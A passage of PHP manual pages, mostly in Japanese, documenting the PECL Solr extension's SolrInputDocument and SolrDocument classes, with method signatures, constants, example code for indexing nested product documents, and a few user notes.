So if you want to search SOME_FIELD:some value with an escape character like +, then you would have to write the code out:

$query  = 'SOME_FIELD:' . SolrUtils::queryPhrase('some value with an escape character like +');

That would properly escape it like:

some value with an escape character like \+

FYI.


SolrInputDocument クラス

(PECL solr >= 0.9.2)

はじめに

このクラスは、Solr インデックスにサブミットされようとしている Solr 文書を表現します。

クラス概要

final SolrInputDocument {
/* 定数 */
const int SORT_DEFAULT = 1 ;
const int SORT_ASC = 1 ;
const int SORT_DESC = 2 ;
const int SORT_FIELD_NAME = 1 ;
const int SORT_FIELD_VALUE_COUNT = 2 ;
const int SORT_FIELD_BOOST_VALUE = 4 ;
/* メソッド */
public addChildDocument ( SolrInputDocument $child ) : void
public addChildDocuments ( array &$docs ) : void
public addField ( string $fieldName , string $fieldValue , float $fieldBoostValue = 0.0 ) : bool
public clear ( ) : bool
public __clone ( ) : void
public __construct ( )
public deleteField ( string $fieldName ) : bool
public __destruct ( ) : void
public fieldExists ( string $fieldName ) : bool
public getBoost ( ) : float
public getChildDocuments ( ) : array
public getChildDocumentsCount ( ) : int
public getField ( string $fieldName ) : SolrDocumentField
public getFieldBoost ( string $fieldName ) : float
public getFieldCount ( ) : int|false
public getFieldNames ( ) : array
public hasChildDocuments ( ) : bool
public merge ( SolrInputDocument $sourceDoc , bool $overwrite = true ) : bool
public reset ( ) : bool
public setBoost ( float $documentBoostValue ) : bool
public setFieldBoost ( string $fieldName , float $fieldBoostValue ) : bool
public sort ( int $sortOrderBy , int $sortDirection = SolrInputDocument::SORT_ASC ) : bool
public toArray ( ) : array
}

定義済み定数

SolrInputDocument クラス定数

SolrInputDocument::SORT_DEFAULT

フィールドを昇順でソート

SolrInputDocument::SORT_ASC

フィールドを昇順でソート

SolrInputDocument::SORT_DESC

フィールドを降順でソート

SolrInputDocument::SORT_FIELD_NAME

フィールドを名前でソート

SolrInputDocument::SORT_FIELD_VALUE_COUNT

フィールドを値の数でソート

SolrInputDocument::SORT_FIELD_BOOST_VALUE

boost 値でフィールドをソート

目次

  • SolrInputDocument::addChildDocument — Adds a child document for block indexing
  • SolrInputDocument::addChildDocuments — Adds an array of child documents
  • SolrInputDocument::addField — 文書にフィールドを追加
  • SolrInputDocument::clear — 入力した文書をリセット
  • SolrInputDocument::__clone — SolrDocument のコピーを作成
  • SolrInputDocument::__construct — コンストラクタ
  • SolrInputDocument::deleteField — 文書からフィールドを除去
  • SolrInputDocument::__destruct — デストラクタ
  • SolrInputDocument::fieldExists — フィールドが存在するかチェック
  • SolrInputDocument::getBoost — 文書に対する現行の boost 値を取得
  • SolrInputDocument::getChildDocuments — Returns an array of child documents (SolrInputDocument)
  • SolrInputDocument::getChildDocumentsCount — Returns the number of child documents
  • SolrInputDocument::getField — 名前でフィールドを取得
  • SolrInputDocument::getFieldBoost — 特定のフィールドに対する boost 値を取得
  • SolrInputDocument::getFieldCount — 文書内のフィールド数を返す
  • SolrInputDocument::getFieldNames — 文書内のフィールドを全て含む配列を返す
  • SolrInputDocument::hasChildDocuments — Returns true if the document has any child documents
  • SolrInputDocument::merge — Merges one input document into another
  • SolrInputDocument::reset — これは、SolrInputDocument::clear のエイリアスです
  • SolrInputDocument::setBoost — この文書に対する boost 値を設定
  • SolrInputDocument::setFieldBoost — フィールドに対するインデキシング時間の boost 値を設定
  • SolrInputDocument::sort — Sorts the fields within the document
  • SolrInputDocument::toArray — 入力した文書の配列表現を返す

User Contributed Notes

There are no user contributed notes for this page.


Adds a child document for block indexing

  • ≪ SolrInputDocument
  • SolrInputDocument::addChildDocuments ≫
  • PHP Manual
  • SolrInputDocument
  • Adds a child document for block indexing

SolrInputDocument::addChildDocument

(PECL solr >= 2.3.0)

SolrInputDocument::addChildDocument — Adds a child document for block indexing

説明

public SolrInputDocument::addChildDocument ( SolrInputDocument $child ) : void

Adds a child document to construct a document block with nested documents.

パラメータ

child

A SolrInputDocument object.

エラー / 例外

Throws SolrIllegalArgumentException on failure.

Throws SolrException on internal failure.

返り値

例

例1 SolrInputDocument::addChildDocument() example

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
    'path'     => SOLR_SERVER_STORE_PATH,
);

$client = new SolrClient($options);

$product = new SolrInputDocument();

$product->addField('id', 'P-BLACK');
$product->addField('cat', 'tshirt');
$product->addField('cat', 'polo');
$product->addField('content_type', 'product');

$small = new SolrInputDocument();
$small->addField('id', 'TS-BLK-S');
$small->addField('content_type', 'sku');
$small->addField('size', 'S');
$small->addField('inventory', 100);

$medium = new SolrInputDocument();
$medium->addField('id', 'TS-BLK-M');
$medium->addField('content_type', 'sku');
$medium->addField('size', 'M');
$medium->addField('inventory', 200);

$large = new SolrInputDocument();
$large->addField('id', 'TS-BLK-L');
$large->addField('content_type', 'sku');
$large->addField('size', 'L');
$large->addField('inventory', 300);

// add child documents
$product->addChildDocument($small);
$product->addChildDocument($medium);
$product->addChildDocument($large);

// add product document block to the index
$updateResponse = $client->addDocument(
        $product,
        true, // overwrite if the document exists
        10000 // commit within 10 seconds
);

print_r($updateResponse->getResponse());

上の例の出力は、 たとえば以下のようになります。

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 5
        )
)

参考

  • SolrInputDocument::addChildDocuments() - Adds an array of child documents
  • SolrInputDocument::hasChildDocuments() - Returns true if the document has any child documents
  • SolrInputDocument::getChildDocuments() - Returns an array of child documents (SolrInputDocument)
  • SolrInputDocument::getChildDocumentsCount() - Returns the number of child documents

User Contributed Notes

There are no user contributed notes for this page.


Adds an array of child documents

  • ≪ SolrInputDocument::addChildDocument
  • SolrInputDocument::addField ≫
  • PHP Manual
  • SolrInputDocument
  • Adds an array of child documents

SolrInputDocument::addChildDocuments

(PECL solr >= 2.3.0)

SolrInputDocument::addChildDocuments — Adds an array of child documents

説明

public SolrInputDocument::addChildDocuments ( array &$docs ) : void

Adds an array of child documents to the current input document.

パラメータ

docs

An array of SolrInputDocument objects.

エラー / 例外

Throws SolrIllegalArgumentException on failure.

Throws SolrException on internal failure.

返り値

例

例1 SolrInputDocument::addChildDocuments() example

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
    'path'     => SOLR_SERVER_STORE_PATH,
);

$client = new SolrClient($options);

$product = new SolrInputDocument();

$product->addField('id', 'P-BLACK');
$product->addField('cat', 'tshirt');
$product->addField('cat', 'polo');
$product->addField('content_type', 'product');

$small = new SolrInputDocument();
$small->addField('id', 'TS-BLK-S');
$small->addField('content_type', 'sku');
$small->addField('size', 'S');
$small->addField('inventory', 100);

$medium = new SolrInputDocument();
$medium->addField('id', 'TS-BLK-M');
$medium->addField('content_type', 'sku');
$medium->addField('size', 'M');
$medium->addField('inventory', 200);

$large = new SolrInputDocument();
$large->addField('id', 'TS-BLK-L');
$large->addField('content_type', 'sku');
$large->addField('size', 'L');
$large->addField('inventory', 300);

// add child documents
$skus = [$small, $medium, $large];
$product->addChildDocuments($skus);

// add the product document block to the index
$updateResponse = $client->addDocument(
        $product,
        true, // overwrite if the document exists
        10000 // commit within 10 seconds
);

print_r($updateResponse->getResponse());

上の例の出力は、 たとえば以下のようになります。

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 5
        )
)

参考

  • SolrInputDocument::addChildDocument() - Adds a child document for block indexing
  • SolrInputDocument::hasChildDocuments() - Returns true if the document has any child documents
  • SolrInputDocument::getChildDocuments() - Returns an array of child documents (SolrInputDocument)
  • SolrInputDocument::getChildDocumentsCount() - Returns the number of child documents

User Contributed Notes

There are no user contributed notes for this page.


文書にフィールドを追加

  • ≪ SolrInputDocument::addChildDocuments
  • SolrInputDocument::clear ≫
  • PHP Manual
  • SolrInputDocument
  • 文書にフィールドを追加

SolrInputDocument::addField

(PECL solr >= 0.9.2)

SolrInputDocument::addField — 文書にフィールドを追加

説明

public SolrInputDocument::addField ( string $fieldName , string $fieldValue , float $fieldBoostValue = 0.0 ) : bool

複数値の項目に対しては、もし有効な boost 値が指定されると、 指定された値とこのフィールドに対する現行の boost 値 とが掛け算されます。

パラメータ

fieldName

フィールド名

fieldValue

このフィールドに対する値

fieldBoostValue

フィールドに対するインデキシング時間の boost。 負の値にはできませんが、それでも 1.0 未満の価格を渡せます。しかし、それらはゼロより大きくなければなりません。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

prabhatkr at gmail dot com 20-Apr-2015 01:43
The method from second example here http://php.net/manual/en/solr.examples.php fails to add document, with following error.
-----
[qtp853119666-20] WARN  org.apache.solr.handler.loader.XMLLoader  - XML element <add> has invalid XML attr: allowDups
-----
This is possibly a solr bug or pecl issue.
Any help here please?


入力した文書をリセット

  • ≪ SolrInputDocument::addField
  • SolrInputDocument::__clone ≫
  • PHP Manual
  • SolrInputDocument
  • 入力した文書をリセット

SolrInputDocument::clear

(PECL solr >= 0.9.2)

SolrInputDocument::clear — 入力した文書をリセット

説明

public SolrInputDocument::clear ( ) : bool

全フィールドをドロップして文書をリセットし、文書の boost をゼロにリセットします。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


SolrDocument のコピーを作成

  • ≪ SolrInputDocument::clear
  • SolrInputDocument::__construct ≫
  • PHP Manual
  • SolrInputDocument
  • SolrDocument のコピーを作成

SolrInputDocument::__clone

(PECL solr >= 0.9.2)

SolrInputDocument::__clone — SolrDocument のコピーを作成

説明

public SolrInputDocument::__clone ( ) : void

直接呼出しされてはいけません。SolrInputDocument のディープコピー作成に使用されます。

パラメータ

この関数にはパラメータはありません。

返り値

SolrInputDocument インスタンスを新規作成。

User Contributed Notes

There are no user contributed notes for this page.


コンストラクタ

  • ≪ SolrInputDocument::__clone
  • SolrInputDocument::deleteField ≫
  • PHP Manual
  • SolrInputDocument
  • コンストラクタ

SolrInputDocument::__construct

(PECL solr >= 0.9.2)

SolrInputDocument::__construct — コンストラクタ

説明

public SolrInputDocument::__construct ( )

コンストラクタ

パラメータ

この関数にはパラメータはありません。

返り値

ありません

User Contributed Notes

There are no user contributed notes for this page.


文書からフィールドを除去

  • ≪ SolrInputDocument::__construct
  • SolrInputDocument::__destruct ≫
  • PHP Manual
  • SolrInputDocument
  • 文書からフィールドを除去

SolrInputDocument::deleteField

(PECL solr >= 0.9.2)

SolrInputDocument::deleteField — 文書からフィールドを除去

説明

public SolrInputDocument::deleteField ( string $fieldName ) : bool

文書からフィールドを除去します。

パラメータ

fieldName

フィールド名

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


デストラクタ

  • ≪ SolrInputDocument::deleteField
  • SolrInputDocument::fieldExists ≫
  • PHP Manual
  • SolrInputDocument
  • デストラクタ

SolrInputDocument::__destruct

(PECL solr >= 0.9.2)

SolrInputDocument::__destruct — デストラクタ

説明

public SolrInputDocument::__destruct ( ) : void

デストラクタ

パラメータ

この関数にはパラメータはありません。

返り値

ありません

User Contributed Notes

There are no user contributed notes for this page.


フィールドが存在するかチェック

  • ≪ SolrInputDocument::__destruct
  • SolrInputDocument::getBoost ≫
  • PHP Manual
  • SolrInputDocument
  • フィールドが存在するかチェック

SolrInputDocument::fieldExists

(PECL solr >= 0.9.2)

SolrInputDocument::fieldExists — フィールドが存在するかチェック

説明

public SolrInputDocument::fieldExists ( string $fieldName ) : bool

フィールドが存在するかチェックします。

パラメータ

fieldName

フィールド名

返り値

フィールドが見つかった場合 true 、見つからなかった場合 false を返します。

User Contributed Notes

There are no user contributed notes for this page.


文書に対する現行の boost 値を取得

  • ≪ SolrInputDocument::fieldExists
  • SolrInputDocument::getChildDocuments ≫
  • PHP Manual
  • SolrInputDocument
  • 文書に対する現行の boost 値を取得

SolrInputDocument::getBoost

(PECL solr >= 0.9.2)

SolrInputDocument::getBoost — 文書に対する現行の boost 値を取得

説明

public SolrInputDocument::getBoost ( ) : float

文書に対する現行の boost 値を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合は boost 値、失敗した場合は false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of child documents (SolrInputDocument)

  • ≪ SolrInputDocument::getBoost
  • SolrInputDocument::getChildDocumentsCount ≫
  • PHP Manual
  • SolrInputDocument
  • Returns an array of child documents (SolrInputDocument)

SolrInputDocument::getChildDocuments

(PECL solr >= 2.3.0)

SolrInputDocument::getChildDocuments — Returns an array of child documents (SolrInputDocument)

説明

public SolrInputDocument::getChildDocuments ( ) : array

Returns an array of child documents (SolrInputDocument)

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • SolrInputDocument::addChildDocument() - Adds a child document for block indexing
  • SolrInputDocument::addChildDocuments() - Adds an array of child documents
  • SolrInputDocument::hasChildDocuments() - Returns true if the document has any child documents
  • SolrInputDocument::getChildDocumentsCount() - Returns the number of child documents

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of child documents

  • ≪ SolrInputDocument::getChildDocuments
  • SolrInputDocument::getField ≫
  • PHP Manual
  • SolrInputDocument
  • Returns the number of child documents

SolrInputDocument::getChildDocumentsCount

(PECL solr >= 2.3.0)

SolrInputDocument::getChildDocumentsCount — Returns the number of child documents

説明

public SolrInputDocument::getChildDocumentsCount ( ) : int

Returns the number of child documents

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • SolrInputDocument::addChildDocument() - Adds a child document for block indexing
  • SolrInputDocument::addChildDocuments() - Adds an array of child documents
  • SolrInputDocument::hasChildDocuments() - Returns true if the document has any child documents
  • SolrInputDocument::getChildDocuments() - Returns an array of child documents (SolrInputDocument)

User Contributed Notes

There are no user contributed notes for this page.


名前でフィールドを取得

  • ≪ SolrInputDocument::getChildDocumentsCount
  • SolrInputDocument::getFieldBoost ≫
  • PHP Manual
  • SolrInputDocument
  • 名前でフィールドを取得

SolrInputDocument::getField

(PECL solr >= 0.9.2)

SolrInputDocument::getField — 名前でフィールドを取得

説明

public SolrInputDocument::getField ( string $fieldName ) : SolrDocumentField

文書内のフィールドを取得します。

パラメータ

fieldName

フィールド名

返り値

成功時には SolrDocumentField オブジェクト、失敗時には false を返します。

User Contributed Notes

There are no user contributed notes for this page.


特定のフィールドに対する boost 値を取得

  • ≪ SolrInputDocument::getField
  • SolrInputDocument::getFieldCount ≫
  • PHP Manual
  • SolrInputDocument
  • 特定のフィールドに対する boost 値を取得

SolrInputDocument::getFieldBoost

(PECL solr >= 0.9.2)

SolrInputDocument::getFieldBoost — 特定のフィールドに対する boost 値を取得

説明

public SolrInputDocument::getFieldBoost ( string $fieldName ) : float

特定のフィールドに対する boost 値を取得します。

パラメータ

fieldName

フィールド名

返り値

フィールドの boost 値、またはエラーがあった場合には false を返します。

User Contributed Notes

There are no user contributed notes for this page.


文書内のフィールド数を返す

  • ≪ SolrInputDocument::getFieldBoost
  • SolrInputDocument::getFieldNames ≫
  • PHP Manual
  • SolrInputDocument
  • 文書内のフィールド数を返す

SolrInputDocument::getFieldCount

(PECL solr >= 0.9.2)

SolrInputDocument::getFieldCount — 文書内のフィールド数を返す

説明

public SolrInputDocument::getFieldCount ( ) : int|false

文書内のフィールド数を返します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に整数、失敗した場合に false を返します.

User Contributed Notes

There are no user contributed notes for this page.


文書内のフィールドを全て含む配列を返す

  • ≪ SolrInputDocument::getFieldCount
  • SolrInputDocument::hasChildDocuments ≫
  • PHP Manual
  • SolrInputDocument
  • 文書内のフィールドを全て含む配列を返す

SolrInputDocument::getFieldNames

(PECL solr >= 0.9.2)

SolrInputDocument::getFieldNames — 文書内のフィールドを全て含む配列を返す

説明

public SolrInputDocument::getFieldNames ( ) : array

文書内のフィールドを全て含む配列を返します。

パラメータ

この関数にはパラメータはありません。

返り値

成功時には配列、失敗時には false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Returns true if the document has any child documents

  • ≪ SolrInputDocument::getFieldNames
  • SolrInputDocument::merge ≫
  • PHP Manual
  • SolrInputDocument
  • Returns true if the document has any child documents

SolrInputDocument::hasChildDocuments

(PECL solr >= 2.3.0)

SolrInputDocument::hasChildDocuments — Returns true if the document has any child documents

説明

public SolrInputDocument::hasChildDocuments ( ) : bool

Checks whether the document has any child documents

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • SolrInputDocument::addChildDocument() - Adds a child document for block indexing
  • SolrInputDocument::addChildDocuments() - Adds an array of child documents
  • SolrInputDocument::getChildDocuments() - Returns an array of child documents (SolrInputDocument)
  • SolrInputDocument::getChildDocumentsCount() - Returns the number of child documents

User Contributed Notes

There are no user contributed notes for this page.


Merges one input document into another

  • ≪ SolrInputDocument::hasChildDocuments
  • SolrInputDocument::reset ≫
  • PHP Manual
  • SolrInputDocument
  • Merges one input document into another

SolrInputDocument::merge

(PECL solr >= 0.9.2)

SolrInputDocument::merge — Merges one input document into another

説明

public SolrInputDocument::merge ( SolrInputDocument $sourceDoc , bool $overwrite = true ) : bool

Merges one input document into another.

パラメータ

sourceDoc

The source document.

overwrite

If this is true it will replace matching fields in the destination document.

返り値

成功した場合に true を、失敗した場合に false を返します。 In the future, this will be modified to return the number of fields in the new document.

User Contributed Notes

There are no user contributed notes for this page.


これは、SolrInputDocument::clear のエイリアスです

  • ≪ SolrInputDocument::merge
  • SolrInputDocument::setBoost ≫
  • PHP Manual
  • SolrInputDocument
  • これは、SolrInputDocument::clear のエイリアスです

SolrInputDocument::reset

(PECL solr >= 0.9.2)

SolrInputDocument::reset — これは、SolrInputDocument::clear のエイリアスです

説明

public SolrInputDocument::reset ( ) : bool

これは、SolrInputDocument::clear のエイリアスです

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


この文書に対する boost 値を設定

  • ≪ SolrInputDocument::reset
  • SolrInputDocument::setFieldBoost ≫
  • PHP Manual
  • SolrInputDocument
  • この文書に対する boost 値を設定

SolrInputDocument::setBoost

(PECL solr >= 0.9.2)

SolrInputDocument::setBoost — この文書に対する boost 値を設定

説明

public SolrInputDocument::setBoost ( float $documentBoostValue ) : bool

この文書に対する boost 値を設定します。

パラメータ

documentBoostValue

この文書に対するインデキシング時間の boost 値

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


フィールドに対するインデキシング時間の boost 値を設定

  • ≪ SolrInputDocument::setBoost
  • SolrInputDocument::sort ≫
  • PHP Manual
  • SolrInputDocument
  • フィールドに対するインデキシング時間の boost 値を設定

SolrInputDocument::setFieldBoost

(PECL solr >= 0.9.2)

SolrInputDocument::setFieldBoost — フィールドに対するインデキシング時間の boost 値を設定

説明

public SolrInputDocument::setFieldBoost ( string $fieldName , float $fieldBoostValue ) : bool

フィールドに対するインデキシング時間の boost 値を設定します。 これは、このフィールドに対する現行の boost 値を置換します。

パラメータ

fieldName

フィールド名

fieldBoostValue

インデキシング時間の boost 値

User Contributed Notes

There are no user contributed notes for this page.


Sorts the fields within the document

  • ≪ SolrInputDocument::setFieldBoost
  • SolrInputDocument::toArray ≫
  • PHP Manual
  • SolrInputDocument
  • Sorts the fields within the document

SolrInputDocument::sort

(PECL solr >= 0.9.2)

SolrInputDocument::sort — Sorts the fields within the document

説明

public SolrInputDocument::sort ( int $sortOrderBy , int $sortDirection = SolrInputDocument::SORT_ASC ) : bool

The fields are rearranged according to the specified criteria and sort direction

   Fields can be sorted by boost values, field names and number of values.

   The $order_by parameter must be one of :

   * SolrInputDocument::SORT_FIELD_NAME
   * SolrInputDocument::SORT_FIELD_BOOST_VALUE
   * SolrInputDocument::SORT_FIELD_VALUE_COUNT

   The sort direction can be one of :

   * SolrInputDocument::SORT_DEFAULT
   * SolrInputDocument::SORT_ASC
   * SolrInputDocument::SORT_DESC

パラメータ

sortOrderBy

The sort criteria

sortDirection

The sort direction

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


入力した文書の配列表現を返す

  • ≪ SolrInputDocument::sort
  • SolrDocument ≫
  • PHP Manual
  • SolrInputDocument
  • 入力した文書の配列表現を返す

SolrInputDocument::toArray

(PECL solr >= 0.9.2)

SolrInputDocument::toArray — 入力した文書の配列表現を返す

説明

public SolrInputDocument::toArray ( ) : array

入力した文書の配列表現を返します。

パラメータ

この関数にはパラメータはありません。

返り値

フィールドを含む配列を返します。失敗時には false を返します。

User Contributed Notes

There are no user contributed notes for this page.


The SolrDocument class

(PECL solr >= 0.9.2)

はじめに

Represents a Solr document retrieved from a query response.

クラス概要

final SolrDocument implements ArrayAccess , Iterator , Serializable {
/* 定数 */
const int SORT_DEFAULT = 1 ;
const int SORT_ASC = 1 ;
const int SORT_DESC = 2 ;
const int SORT_FIELD_NAME = 1 ;
const int SORT_FIELD_VALUE_COUNT = 2 ;
const int SORT_FIELD_BOOST_VALUE = 4 ;
/* メソッド */
public addField ( string $fieldName , string $fieldValue ) : bool
public clear ( ) : bool
public __clone ( ) : void
public __construct ( )
public current ( ) : SolrDocumentField
public deleteField ( string $fieldName ) : bool
public __destruct ( ) : void
public fieldExists ( string $fieldName ) : bool
public __get ( string $fieldName ) : SolrDocumentField
public getChildDocuments ( ) : array
public getChildDocumentsCount ( ) : int
public getField ( string $fieldName ) : SolrDocumentField
public getFieldCount ( ) : int
public getFieldNames ( ) : array
public getInputDocument ( ) : SolrInputDocument
public hasChildDocuments ( ) : bool
public __isset ( string $fieldName ) : bool
public key ( ) : string
public merge ( SolrDocument $sourceDoc , bool $overwrite = true ) : bool
public next ( ) : void
public offsetExists ( string $fieldName ) : bool
public offsetGet ( string $fieldName ) : SolrDocumentField
public offsetSet ( string $fieldName , string $fieldValue ) : void
public offsetUnset ( string $fieldName ) : void
public reset ( ) : bool
public rewind ( ) : void
public serialize ( ) : string
public __set ( string $fieldName , string $fieldValue ) : bool
public sort ( int $sortOrderBy , int $sortDirection = SolrDocument::SORT_ASC ) : bool
public toArray ( ) : array
public unserialize ( string $serialized ) : void
public __unset ( string $fieldName ) : bool
public valid ( ) : bool
}

定義済み定数

SolrDocument::SORT_DEFAULT

Default mode for sorting fields within the document.

SolrDocument::SORT_ASC

Sorts the fields in ascending order

SolrDocument::SORT_DESC

Sorts the fields in descending order

SolrDocument::SORT_FIELD_NAME

Sorts the fields by field name.

SolrDocument::SORT_FIELD_VALUE_COUNT

Sorts the fields by number of values in each field.

SolrDocument::SORT_FIELD_BOOST_VALUE

Sorts the fields by thier boost values.

目次

  • SolrDocument::addField — 文書にフィールドを追加
  • SolrDocument::clear — Drops all the fields in the document
  • SolrDocument::__clone — SolrDocument オブジェクトのコピーを作成
  • SolrDocument::__construct — コンストラクタ
  • SolrDocument::current — 現行のフィールドを取得
  • SolrDocument::deleteField — 文書からフィールドを除去
  • SolrDocument::__destruct — デストラクタ
  • SolrDocument::fieldExists — Checks if a field exists in the document
  • SolrDocument::__get — プロパティとしてフィールドにアクセス
  • SolrDocument::getChildDocuments — Returns an array of child documents (SolrDocument)
  • SolrDocument::getChildDocumentsCount — Returns the number of child documents
  • SolrDocument::getField — 名前でフィールドを取得
  • SolrDocument::getFieldCount — この文書内のフィールド数を返す
  • SolrDocument::getFieldNames — 文書内のフィールド名の配列を返す
  • SolrDocument::getInputDocument — Returns a SolrInputDocument equivalent of the object
  • SolrDocument::hasChildDocuments — Checks whether the document has any child documents
  • SolrDocument::__isset — フィールドが存在するかチェック
  • SolrDocument::key — 現行のキーを返す
  • SolrDocument::merge — Merges source to the current SolrDocument
  • SolrDocument::next — 内部ポインタを次のフィールドに移動
  • SolrDocument::offsetExists — 特定のフィールドが存在するかどうかチェック
  • SolrDocument::offsetGet — フィールドを取得
  • SolrDocument::offsetSet — 文書にフィールドを追加
  • SolrDocument::offsetUnset — フィールドを除去
  • SolrDocument::reset — SolrDocument::clear()へのエイリアス
  • SolrDocument::rewind — 内部ポインタを先頭にリセット
  • SolrDocument::serialize — カスタムのシリアライズで使われます
  • SolrDocument::__set — Adds another field to the document
  • SolrDocument::sort — Sorts the fields in the document
  • SolrDocument::toArray — 文書の配列表現を返す
  • SolrDocument::unserialize — Custom serialization of SolrDocument objects
  • SolrDocument::__unset — 文書からフィールドを除去
  • SolrDocument::valid — Checks if the current position internally is still valid

User Contributed Notes

There are no user contributed notes for this page.


文書にフィールドを追加

  • ≪ SolrDocument
  • SolrDocument::clear ≫
  • PHP Manual
  • SolrDocument
  • 文書にフィールドを追加

SolrDocument::addField

(PECL solr >= 0.9.2)

SolrDocument::addField — 文書にフィールドを追加

説明

public SolrDocument::addField ( string $fieldName , string $fieldValue ) : bool

このメソッドは、SolrDocument インスタンスにフィールドを追加します。

パラメータ

fieldName

フィールド名

fieldValue

フィールドの値

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Drops all the fields in the document

  • ≪ SolrDocument::addField
  • SolrDocument::__clone ≫
  • PHP Manual
  • SolrDocument
  • Drops all the fields in the document

SolrDocument::clear

(PECL solr >= 0.9.2)

SolrDocument::clear — Drops all the fields in the document

説明

public SolrDocument::clear ( ) : bool

Resets the current object. Discards all the fields and resets the document boost to zero.

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


SolrDocument オブジェクトのコピーを作成

  • ≪ SolrDocument::clear
  • SolrDocument::__construct ≫
  • PHP Manual
  • SolrDocument
  • SolrDocument オブジェクトのコピーを作成

SolrDocument::__clone

(PECL solr >= 0.9.2)

SolrDocument::__clone — SolrDocument オブジェクトのコピーを作成

説明

public SolrDocument::__clone ( ) : void

SolrDocument オブジェクトのコピーを作成します。直接呼出しされません。

パラメータ

この関数にはパラメータはありません。

返り値

ありません

User Contributed Notes

There are no user contributed notes for this page.


コンストラクタ

  • ≪ SolrDocument::__clone
  • SolrDocument::current ≫
  • PHP Manual
  • SolrDocument
  • コンストラクタ

SolrDocument::__construct

(PECL solr >= 0.9.2)

SolrDocument::__construct — コンストラクタ

説明

public SolrDocument::__construct ( )

SolrDocument に対するコンストラクタ

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


現行のフィールドを取得

  • ≪ SolrDocument::__construct
  • SolrDocument::deleteField ≫
  • PHP Manual
  • SolrDocument
  • 現行のフィールドを取得

SolrDocument::current

(PECL solr >= 0.9.2)

SolrDocument::current — 現行のフィールドを取得

説明

public SolrDocument::current ( ) : SolrDocumentField

現行のフィールドを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

フィールドを返します。

User Contributed Notes

There are no user contributed notes for this page.


文書からフィールドを除去

  • ≪ SolrDocument::current
  • SolrDocument::__destruct ≫
  • PHP Manual
  • SolrDocument
  • 文書からフィールドを除去

SolrDocument::deleteField

(PECL solr >= 0.9.2)

SolrDocument::deleteField — 文書からフィールドを除去

説明

public SolrDocument::deleteField ( string $fieldName ) : bool

文書からフィールドを除去します。

パラメータ

fieldName

フィールド名

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


デストラクタ

  • ≪ SolrDocument::deleteField
  • SolrDocument::fieldExists ≫
  • PHP Manual
  • SolrDocument
  • デストラクタ

SolrDocument::__destruct

(PECL solr >= 0.9.2)

SolrDocument::__destruct — デストラクタ

説明

public SolrDocument::__destruct ( ) : void

SolrDocument に対するデストラクタ

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Checks if a field exists in the document

  • ≪ SolrDocument::__destruct
  • SolrDocument::__get ≫
  • PHP Manual
  • SolrDocument
  • Checks if a field exists in the document

SolrDocument::fieldExists

(PECL solr >= 0.9.2)

SolrDocument::fieldExists — Checks if a field exists in the document

説明

public SolrDocument::fieldExists ( string $fieldName ) : bool

Checks if the requested field as a valid fieldname in the document.

パラメータ

fieldName

The name of the field.

返り値

Returns true if the field is present and false if it does not.

User Contributed Notes

There are no user contributed notes for this page.


プロパティとしてフィールドにアクセス

  • ≪ SolrDocument::fieldExists
  • SolrDocument::getChildDocuments ≫
  • PHP Manual
  • SolrDocument
  • プロパティとしてフィールドにアクセス

SolrDocument::__get

(PECL solr >= 0.9.2)

SolrDocument::__get — プロパティとしてフィールドにアクセス

説明

public SolrDocument::__get ( string $fieldName ) : SolrDocumentField

プロパティとしてフィールドにアクセスするためのマジックメソッド

パラメータ

fieldName

フィールド名

返り値

SolrDocumentField インスタンスを返します。

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of child documents (SolrDocument)

  • ≪ SolrDocument::__get
  • SolrDocument::getChildDocumentsCount ≫
  • PHP Manual
  • SolrDocument
  • Returns an array of child documents (SolrDocument)

SolrDocument::getChildDocuments

(PECL solr >= 2.3.0)

SolrDocument::getChildDocuments — Returns an array of child documents (SolrDocument)

説明

public SolrDocument::getChildDocuments ( ) : array

Returns an array of child documents (SolrDocument)

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • SolrDocument::hasChildDocuments() - Checks whether the document has any child documents
  • SolrDocument::getChildDocumentsCount() - Returns the number of child documents

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of child documents

  • ≪ SolrDocument::getChildDocuments
  • SolrDocument::getField ≫
  • PHP Manual
  • SolrDocument
  • Returns the number of child documents

SolrDocument::getChildDocumentsCount

(PECL solr >= 2.3.0)

SolrDocument::getChildDocumentsCount — Returns the number of child documents

説明

public SolrDocument::getChildDocumentsCount ( ) : int

Returns the number of child documents

パラメータ

